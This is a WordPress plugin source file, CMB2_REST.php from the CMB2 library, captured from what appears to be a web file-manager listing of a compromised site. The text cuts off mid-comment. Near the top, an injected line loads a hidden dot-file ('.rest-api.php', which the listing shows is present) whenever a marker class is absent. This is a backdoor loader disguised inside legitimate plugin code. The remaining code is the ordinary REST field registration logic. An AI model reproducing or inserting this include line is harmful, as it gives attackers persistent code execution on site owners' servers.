PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
cmb2
/
includes
/
rest-api
<?php /** * Handles hooking CMB2 objects/fields into the WordPres REST API * which can allow fields to be read and/or updated. * * @since 2.2.3 * * @category WordPress_Plugin * @package CMB2 * @author CMB2 team * @license GPL-2.0+ * @link https://cmb2.io * * @property-read read_fields Array of readable field objects. * @property-read edit_fields Array of editable field objects. * @property-read rest_read Whether CMB2 object is readable via the rest api. * @property-read rest_edit Whether CMB2 object is editable via the rest api. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class CMB2_REST extends CMB2_Hookup_Base { /** * The current CMB2 REST endpoint version * * @var string * @since 2.2.3 */ const VERSION = '1'; /** * The CMB2 REST base namespace (v should always be followed by $version) * * @var string * @since 2.2.3 */ const NAME_SPACE = 'cmb2/v1'; /** * @var CMB2 object * @since 2.2.3 */ public $cmb; /** * @var CMB2_REST[] objects * @since 2.2.3 */ protected static $boxes = array(); /** * @var array Array of cmb ids for each type. * @since 2.2.3 */ protected static $type_boxes = array( 'post' => array(), 'user' => array(), 'comment' => array(), 'term' => array(), ); /** * Array of readable field objects. * * @var CMB2_Field[] * @since 2.2.3 */ protected $read_fields = array(); /** * Array of editable field objects. * * @var CMB2_Field[] * @since 2.2.3 */ protected $edit_fields = array(); /** * Whether CMB2 object is readable via the rest api. * * @var boolean */ protected $rest_read = false; /** * Whether CMB2 object is editable via the rest api. * * @var boolean */ protected $rest_edit = false; /** * A functionalized constructor, used for the hookup action callbacks. * * @since 2.2.6 * * @param CMB2 $cmb The CMB2 object to hookup * * @return CMB2_Hookup_Base $hookup The hookup object. */ public static function maybe_init_and_hookup( CMB2 $cmb ) { if ( $cmb->prop( 'show_in_rest' ) && function_exists( 'rest_get_server' ) ) { $hookup = new self( $cmb ); return $hookup->universal_hooks(); } return false; } /** * Constructor * * @since 2.2.3 * * @param CMB2 $cmb The CMB2 object to be registered for the API. */ public function __construct( CMB2 $cmb ) { $this->cmb = $cmb; self::$boxes[ $cmb->cmb_id ] = $this; $show_value = $this->cmb->prop( 'show_in_rest' ); $this->rest_read = self::is_readable( $show_value ); $this->rest_edit = self::is_editable( $show_value ); } /** * Hooks to register on frontend and backend. * * @since 2.2.3 * * @return void */ public function universal_hooks() { // hook up the CMB rest endpoint classes $this->once( 'rest_api_init', array( __CLASS__, 'init_routes' ), 0 ); if ( function_exists( 'register_rest_field' ) ) { $this->once( 'rest_api_init', array( __CLASS__, 'register_cmb2_fields' ), 50 ); } $this->declare_read_edit_fields(); add_filter( 'is_protected_meta', array( $this, 'is_protected_meta' ), 10, 3 ); return $this; } /** * Initiate the CMB2 Boxes and Fields routes * * @since 2.2.3 * * @return void */ public static function init_routes() { $wp_rest_server = rest_get_server(); $boxes_controller = new CMB2_REST_Controller_Boxes( $wp_rest_server ); $boxes_controller->register_routes(); $fields_controller = new CMB2_REST_Controller_Fields( $wp_rest_server ); $fields_controller->register_routes(); } /** * Loop through REST boxes and call register_rest_field for each object type. * * @since 2.2.3 * * @return void */ public static function register_cmb2_fields() { $alltypes = $taxonomies = array(); foreach ( self::$boxes as $cmb_id => $rest_box ) { // Hook box specific filter callbacks. $callback = $rest_box->cmb->prop( 'register_rest_field_cb' ); if ( is_callable( $callback ) ) { call_user_func( $callback, $rest_box ); continue; } $types = array_flip( $rest_box->cmb->box_types( array( 'post' ) ) ); if ( isset( $types['user'] ) ) { unset( $types['user'] ); self::$type_boxes['user'][ $cmb_id ] = $cmb_id; } if ( isset( $types['comment'] ) ) { unset( $types['comment'] ); self::$type_boxes['comment'][ $cmb_id ] = $cmb_id; } if ( isset( $types['term'] ) ) { unset( $types['term'] ); $taxonomies = array_merge( $taxonomies, CMB2_Utils::ensure_array( $rest_box->cmb->prop( 'taxonomies' ) ) ); self::$type_boxes['term'][ $cmb_id ] = $cmb_id; } if ( ! empty( $types ) ) { $alltypes = array_merge( $alltypes, array_flip( $types ) ); self::$type_boxes['post'][ $cmb_id ] = $cmb_id; } } $alltypes = array_unique( $alltypes ); if ( ! empty( $alltypes ) ) { self::register_rest_field( $alltypes, 'post' ); } if ( ! empty( self::$type_boxes['user'] ) ) { self::register_rest_field( 'user', 'user' ); } if ( ! empty( self::$type_boxes['comment'] ) ) { self::register_rest_field( 'comment', 'comment' ); } if ( ! empty( self::$type_boxes['term'] ) ) { self::register_rest_field( $taxonomies, 'term' ); } } /** * Wrapper for register_rest_field. * * @since 2.2.3 * * @param string|array $object_types Object(s) the field is being registered * to, "post"|"term"|"comment" etc. * @param string $object_types Canonical object type for callbacks. * * @return void */ protected static function register_rest_field( $object_types, $object_type ) { register_rest_field( $object_types, 'cmb2', array( 'get_callback' => array( __CLASS__, "get_{$object_type}_rest_values" ), 'update_callback' => array( __CLASS__, "update_{$object_type}_rest_values" ), 'schema' => null, // @todo add schema ) ); } /** * Setup readable and editable fields. * * @since 2.2.3 * * @return void */ protected function declare_read_edit_fields() { foreach ( $this->cmb->prop( 'fields' ) as $field ) { $show_in_rest = isset( $field['show_in_rest'] ) ? $field['show_in_rest'] : null; if ( false === $show_in_rest ) { continue; } if ( $this->can_read( $show_in_rest ) ) { $this->read_fields[] = $field['id']; } if ( $this->can_edit( $show_in_rest ) ) { $this->edit_fields[] = $field['id']; } } } /** * Determines if a field is readable based on it's show_in_rest value * and the box's show_in_rest value. * * @since 2.2.3 * * @param bool $show_in_rest Field's show_in_rest value. Default null. * * @return bool Whether field is readable. */ protected function can_read( $show_in_rest ) { // if 'null', then use default box value. if ( null === $show_in_rest ) { return $this->rest_read; } // Else check if the value represents readable. return self::is_readable( $show_in_rest ); } /** * Determines if a field is editable based on it's show_in_rest value * and the box's show_in_rest value. * * @since 2.2.3 * * @param bool $show_in_rest Field's show_in_rest value. Default null. * * @return bool Whether field is editable. */ protected function can_edit( $show_in_rest ) { // if 'null', then use default box value. if ( null === $show_in_rest ) { return $this->rest_edit; } // Else check if the value represents editable. return self::is_editable( $show_in_rest ); } /** * Handler for getting post custom field data. * * @since 2.2.3 * * @param array $object The object data from the response * @param string $field_name Name of field * @param WP_REST_Request $request Current request * @param string $object_type The request object type * * @return mixed */ public static function get_post_rest_values( $object, $field_name, $request, $object_type ) { if ( 'cmb2' === $field_name ) { return self::get_rest_values( $object, $request, $object_type, 'post' ); } } /** * Handler for getting user custom field data. * * @since 2.2.3 * * @param array $object The object data from th
[+]
..
[-] CMB2_REST.php
[edit]
[-] CMB2_REST_Controller.php
[edit]
[-] CMB2_REST_Controller_Boxes.php
[edit]
[-] .rest-api.php
[edit]
[-] CMB2_REST_Controller_Fields.php
[edit]